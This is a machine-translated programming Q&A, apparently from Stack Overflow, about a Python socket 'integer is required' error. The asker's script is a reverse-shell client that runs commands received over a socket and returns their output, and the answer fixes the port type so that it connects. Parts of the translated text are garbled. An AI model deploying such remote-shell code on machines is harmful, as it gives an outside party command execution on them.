我试图在我的一个python代码中使用套接字对象,但它在这一行失败了:
#!/usr/bin/python
import subprocess,socket
HOST = '127.0.0.1'
PORT = '443'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send('Yo')
while 1:
data = s.recv(1024)
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput1 = proc.stdout.read() + proc.stderr.read()
s.send(stdoutput)
s.send('Bye')
s.close()
它失败了:s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
File "C:\Python27\lib\socket.py", line 224, in meth
return getattr(self._sock,name)(*args)
TypeError: an integer is required
当我无法理解为什么会这样时,它告诉我参数中需要一个整数。它从socket.py:
调用此方法def meth(name,self,*args):
return getattr(self._sock,name)(*args)
答案 0 :(得分:0)
您误解了错误消息,并且正在查看错误的行。 s.connect()
调用失败了:
>>> import socket
>>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>> s.connect(('127.0.0.1', '443'))
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/Users/mjpieters/Development/Library/buildout.python/parts/opt/lib/python2.7/socket.py", line 228, in meth
return getattr(self._sock,name)(*args)
TypeError: an integer is required
请注意,此处失败的{{1>}次呼叫 ,而socket.socket()
呼叫是s.connect()
,因为'443'
不是有效的端口号。
端口号必须是整数,而不是字符串;更正您的PORT
变量:
PORT = 443 # make this an integer
通过更改连接工作(如果端口可连接):
>>> s.connect(('127.0.0.1', 443))
